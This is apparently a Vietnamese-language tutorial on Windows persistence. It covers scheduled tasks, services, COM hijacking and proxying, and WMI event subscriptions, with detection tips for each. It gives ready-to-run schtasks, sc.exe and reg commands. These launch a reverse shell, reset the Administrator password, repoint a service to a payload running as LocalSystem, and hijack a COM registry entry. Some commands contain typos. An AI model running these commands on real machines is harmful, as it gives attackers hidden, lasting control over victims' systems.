Một số phương thức Persistence
Last updated
Last updated
Schedule Task cho phép người dùng tự động hóa các tác vụ bằng cách lên lịch để chúng chạy vào những thời điểm cụ thể. Bằng việc đặt thời gian để thực thi tệp độc hại, attacker có thể lạm dụng tính năng này của windows để có được quyền truy cập liên tục vào máy. 3 cách phổ biến:
Regular user based persistence: Lên lịch một tác vụ chạy theo thông tin xác thực của người dùng thông thường, ít phổ biến hơn so với elevated user based persistence vì dễ phát hiện và loại bỏ hơn
# tạo lịch chạy 1 lần lúc 00.00
schtasks /create/sc ONCE/st 00:00 /tn “My Malicious Task”/tr C:\Temp\revshell.exe
# Buộc chạy ngay
schtasks /run/tn “My Malicious Task”/tr
Elevated user Based Persistence: Lên lịch cho một tác vụ với đặc quyền cao(Admin hoặc NT SYSTEM) => Thực hiện được những hành động nguy hiểm như sửa đổi cài đặt hệ thống hoặc truy cập dữ liệu nhạy cảm
Multi-Action Schedule task persistence: Ẩn mình nhờ sửa đổi các Schedule task đã lên lịch từ trước để thực hiện thêm các hành động độc hại. Multiple action sẽ hiện thị tại Task To Run khi được liệt kê cùng với schtasks.exe
Để cấu hình Multi-Action Schedule task, trước tiên xuất Schedule Tasks dưới dạng XML:
schtasks /query/tin”CHANGEME” /xml > task.xml
Chỉnh sửa task.xml, thêm trong <Actions>:
<Exec>
<Command>C:\windows\revshell.exe</Command>
<Command>C:\Program Files\Mozilla Firefox\updater.exe</Command>
</Exec>
Xóa task cũ và cài đặt task đã điều chỉnh:
schtasks /delete /tn “CHANGE” /f
schtasks /create /tn “CHANGEME” /xml task.xml
Entry: Tạo một Schedule Task thực thi revshell khi người dùng đăng nhập
Phát hiện:
Windows Explorer: Tìm các task bất thường tại
C:\Windows\System32\Tasks
C:\Windows\SysWOW64\Tasks
C:\Windows\Tasks
Windows Event Logs: Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational
Windows Registry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}
Giám sát và ghi nhật ký Scheduled Tasks
Windows services có thể được cấu hình để chạy ngầm bất cứ khi nào máy nạn nhân hoạt động. Về cơ bản service là một tệp thực thi chạy ở chế độ nền. Khi định cấu hình một dịch vụ, bạn hãy xác định tệp thực thi nào sẽ được sử dụng và chọn xem dịch vụ sẽ tự động chạy khi máy khởi động hay khởi động thủ công. Cấu hình dịch vụ cũng như cấu hình trình điều khiển thiết bị được lưu trữ trong Registry Key trong HKLM\SYSTEM\CurrentControlSet\Ser. Có 2 cách chính để Persistence với services:
Tạo một service mới:
sc.exe create EvilService binPath= “net user Administrator Passwd123” start= auto
sc.exe start EvilService
# or
sc.exe create Evilservice2 binPath= “C:\windows\revshell.exe” start= auto
sc.exe start Evilservice2
Entry: Tạo một service
Chỉnh sửa dịch vụ đã tồn tại: tránh sự giám sát việc tạo service mới qua mạng của blue team.
POC: # lấy danh sách các dịch vụ:
sc.exe query state=all
Lựa chọn một service làm Target service
C:\> sc.exe qc Targetservice
Khi chạy sẽ cho đc thông tin như sau:
SERVICE_NAME: Targetservice
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\MyService\Targetservice.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Targetservice
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\Local Service
Thay đổi binpath của Targetservice thành payload độc hại
C:\> sc.exe config Targetservice binPath= “C:\Windows\revshell.exe” start= auto obj= “LocalSystem”
Thay thế các đối tượng COM (Component Object Model) bằng các đối tượng độc hại.
Thường được sử dụng để thực thi mã tùy ý, đạt được persistence hoặc leo thang đặc quyền trên hệ thống mục tiêu
Hiểu về COM Hijacking: Component Object Model (COM) là một chuẩn giao diện do Microsoft phát triển cho phép các thành phần phần mềm khác nhau giao tiếp với nhau. Nó được sử dụng rộng rãi trong Windows để tích hợp thành phần phần mềm. Trong COM Hijacking, attacker thay thế một đối tượng COM hợp lệ thành một đối tượng độc hại, điều này dẫn đến việc thực thi mã độc khi một ứng dụng cố gắng khởi tạo đối tượng COM bị tấn công.
Khi một phần mềm cần tải một đối tượng COM, nó sẽ sử dụng API Windows CoCreateInstance để xây dựng một đối tượng chưa được khởi tạo của một lớp cụ thể, với là CLSID một trong các tham số cần thiết (class identifier).
Khi một chương trình gọi CoCreateInstance với một CLSID giá trị cụ thể, hệ điều hành sẽ tham khảo registry để tìm ra tệp nhị phân nào chứa mã COM được yêu cầu:
Ví dụ: firefox.exegọi CoCreateInstancebằng CLSID: {A1DB7B5E-D0EA-4FE0-93C4-314505788272}. Tệp C:\Windows\System32\TaskFlowDataEngine.dll được liên kết với registry ký HKCU\Software\Classes\CLSID\{A1DB7B5E-D0EA-4FE0-93C4-314505788272}\InprocServer32
Kịch bản tấn công:
Xác định đối tượng COM mục tiêu (thường xuyên được ứng dụng hoặc quy trình có đặc quyền cao sử dụng)
Tìm kiếm qua Process Monitor Filter
Tạo đối tượng COM độc hại
Điều chỉnh Registry: Sửa đổi Window Registry để trỏ đến đối tượng COM độc hại (thường được thực hiện bằng cách thay đổi khóa CLSID(Class ID) hoặc ProgID(Programmatic Identifier))
Thực thi mã độc: Khi ứng dụng mục tiêu cố gắng khởi tạo đối tượng COM bị tấn công, mã độc sẽ được thực thi, có khả năng dẫn đến hành động trái phép.
Entry: Biên dịch và thực thi đoạn code sau trên máy nạn nhân
Thủ công:
reg query "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s
reg query "HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s
reg export "HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" C:\Users\User\Desktop\shared\2022-05-02-malware-pers-3\orig.reg /reg:64 /y
reg import C:\Users\User\Desktop\shared\2022-05-02-malware-pers-3\evil.reg /reg:64
reg query "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s
Clean:
reg delete "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}" /f
Phát hiện:
Đăng ký thành phần COM cho mỗi người dùng là không thường xuyên nên những thay đổi có thể bị coi là đáng ngờ
Kiểm tra Syscom (có thể được cấu hình cho các hoạt động HKCU\CLSID)
Xem các khóa TreatAs và khóa bị bỏ rơi
Nếu có một COM Object đã đăng ký cho mỗi người dùng nhưng có dll khác trên toàn máy
Giám sát rundll32.exe(CLSID có thể được gọi bằng rundll32.exe - sta {CLSID})
Kỹ thuật chặn hoặc thao túng giao tiếp giữ COM clients và servers -> Giám sát, thay đổi dữ liệu đang truyền hoặc chuyển hướng COM calls đến những đối tượng hoặc máy chủ khác nhau.
Hiểu về Proxying: COM cho phép giao tiếp liên tiến trình (inter-process communication). Ứng dụng khách giao tiếp với máy chủ COM,máy chủ này cung cấp một số chức năng nhất định được hiển thị thông qua giao diện
Kịch bản tấn công:
Xác định COM Communication: Xác định COM client-server communication muốn chắn (Giao tiếp giữa các thành phần Windows chuẩn hoặc giữa các ứng dụng bên thứ ba)
Tạo đối tượng Proxy COM
Chèn đối tượng Proxy: Chèn đối tượng Proxy vào COM communication path (bằng các sửa đổi Registry, thay thế server CLSID bằng CLSID của đối tượng proxy,…).
Chặn bắt và chỉnh sửa COM Calls: Khi client thực hiện COM call, nó sẽ bị chặn bởi đối tượng proxy. Proxy có thể ghi nhật ký cuộc gọi này, thay đổi dữ liệu hoặc thực hiện các hành động khác trước khi chuyển tiếp cuộc gọi đến máy chủ gốc hoặc máy chủ khác.
Đăng ký Windows Management Instrumentation(WMI) là một phương pháp được sử dụng để duy trì persistence trên hệ thống Windows. WMI là một tính năng Windows mạnh mẽ và linh hoạt được sử dụng cho nhiều tác vụ quản lý hệ thống khác nhau. Attacker có thể khai thác WMI bằng cách tạo các đăng ký persistent thực thi các tập lệnh hoặc tập nhị phân độc hại để phản hồi các sự kiện hệ thống được chỉ định.
Hiểu về Đăng ký WMI để Persistence: Đăng ký WMI có thể được sử dụng để thực thi code phản hồi một sự kiện, thường được thực hiện bằng cách sử dụng WMI Event Filters và Consumer. WMI Event Filters chỉ định điều kiện mà code sẽ thực thi và Consumer xác định hành động cần thực hiện khi điều kiện đó đáp ứng. Lợi dụng điều này attacker có thể đảm thực thi code độc hại một cách tự động, từ đó đạt được persistence
Kịch bản tấn công:
Tạo một tệp lệnh độc hại hoặc có thể thực thi được
Setup WMI Event Filter: Thiết lập một WMI Event Filter chỉ định thời điểm mã độc sẽ được thực thi(ví dụ như lúc khởi động)
Setup WMI Event Consumer: Tạo ra một VMI Event Consumer được trigger bởi Event Filter để thực thi mã độc
Liên kết Filter với Consumer: Liên kết Event Filter với Event Consumer tạo một đăng ký
Entry: Sử dụng tiện ích dòng lệnh wmic tạo 3 sự kiện trong root\subscription. Payload sẽ thực thi trong vòng 60s mỗi khi Windows khởi động. Tệp thực thi sẽ trả về phiên Meterpreter trong vòng 60 giây sau mỗi lần khởi động lại.
Phát hiện:
Kiểm tra các event log của WMI trong Microsoft-Windows-WMI-Activity%4Operational
Sử dụng WMI Explorer để rà quét
Kiểm tra EventFilter, EventConsumer và FilterToConsumerBinding qua powershell